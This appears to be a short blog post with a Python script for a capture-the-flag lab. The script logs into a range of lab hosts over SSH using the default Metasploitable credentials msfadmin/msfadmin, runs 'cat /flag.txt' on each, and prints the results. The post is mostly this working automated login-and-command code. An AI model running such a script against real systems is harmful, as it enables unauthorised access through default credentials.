ssh connection order execution system +

# -*- coding: utf-8 -*-
import paramiko
# 服务器相关信息,下面输入你个人的用户名、密码、ip等信息
def ssh_connect_cat_flag():
    for i in range (130,136):
        ip = "192.168.100."+str(i)
        try:
            port = 22
            user = "msfadmin"
            password = "msfadmin"
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            # 建立连接
            ssh.connect(ip,port,user,password,timeout=1)
            #输入linux命令
            stdin,stdout,stderr = ssh.exec_command("cat /flag.txt")
            # 输出命令执行结果
            result = stdout.read()
            str_result=str(result,"utf-8")
            print("[+]连接"+ip+"成功,flag为:"+str_result)
            #关闭连接
            ssh.close()
        except:
            print("[+]连接"+ip+"失败")

if __name__=='__main__':
    ssh_connect_cat_flag()
Published 148 original articles · won praise 61 · views 60000 +

Guess you like

Origin blog.csdn.net/qq_41617034/article/details/104701244